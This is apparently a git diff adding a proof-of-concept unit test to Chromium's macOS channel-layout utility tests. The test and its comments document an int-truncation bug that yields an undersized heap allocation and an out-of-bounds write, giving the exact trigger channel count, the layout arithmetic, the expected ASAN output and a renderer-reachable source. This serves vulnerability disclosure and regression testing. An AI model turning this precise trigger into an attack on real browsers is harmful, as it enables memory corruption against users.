diff --git a/media/base/mac/channel_layout_util_mac_unittest.cc b/media/base/mac/channel_layout_util_mac_unittest.cc index 437f0d96339bc..9778d24520eb5 100644 --- a/media/base/mac/channel_layout_util_mac_unittest.cc +++ b/media/base/mac/channel_layout_util_mac_unittest.cc @@ -83,6 +83,40 @@ TEST(ChannelLayoutUtilMac, ChannelLayoutMonoToAudioChannelLayout) { kAudioChannelFlags_AllOff); } +// POC: int truncation of offsetof() result -> undersized HeapArray -> linear +// OOB write through UNSAFE_BUFFERS span in the DISCRETE loop. +// +// input_channels = 214748365: +// offsetof(AudioChannelLayout, mChannelDescriptions[214748365]) +// = 12 + 214748365*20 = 0x1_00000010 (size_t) +// stored into `int output_layout_size` -> truncates to 16 +// HeapArray::Uninit(16) allocates 16 bytes +// mNumberChannelDescriptions = 214748365 +// GetDescriptions() span extent = 214748365 (no bounds vs. allocation) +// loop writes {0xFFFFFFFF,0} at 20-byte stride from alloc+12; +// first OOB store at alloc+16 (descriptions[0].mChannelFlags). +// +// Under ASAN (`is_asan = true`) this test produces: +// ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 4 +// #0 ... media::ChannelLayoutToAudioChannelLayout(...) +// media/base/mac/channel_layout_util_mac.cc:133 +// +// This proves the sink is exploitable independent of whether macOS +// AudioToolbox accepts a 2.1e8-channel USAC config (the renderer- +// reachable source per audio_toolbox_audio_decoder.cc:377). +TEST(ChannelLayoutUtilMac, DiscreteIntTruncationOOB_POC) { + constexpr int kChannels = 214748365; // (2^32 - 12)/20 + 1 + static_assert(sizeof(AudioChannelDescription) == 20, "layout assumption"); + static_assert(offsetof(AudioChannelLayout, mChannelDescriptions) == 12, + "layout assumption"); + // EXPECT_DEATH so a release (non-ASAN) build that merely SIGSEGVs on the + // wild ~4.3 GB write also counts as a pass; under ASAN the death message + // will contain "heap-buffer-overflow". + EXPECT_DEATH(ChannelLayoutToAudioChannelLayout( + ChannelLayout::CHANNEL_LAYOUT_DISCRETE, kChannels), + ""); +} + TEST(ChannelLayoutUtilMac, ChannelLayoutDiscreteToAudioChannelLayout) { int channels = 12; auto output_layout = ChannelLayoutToAudioChannelLayout(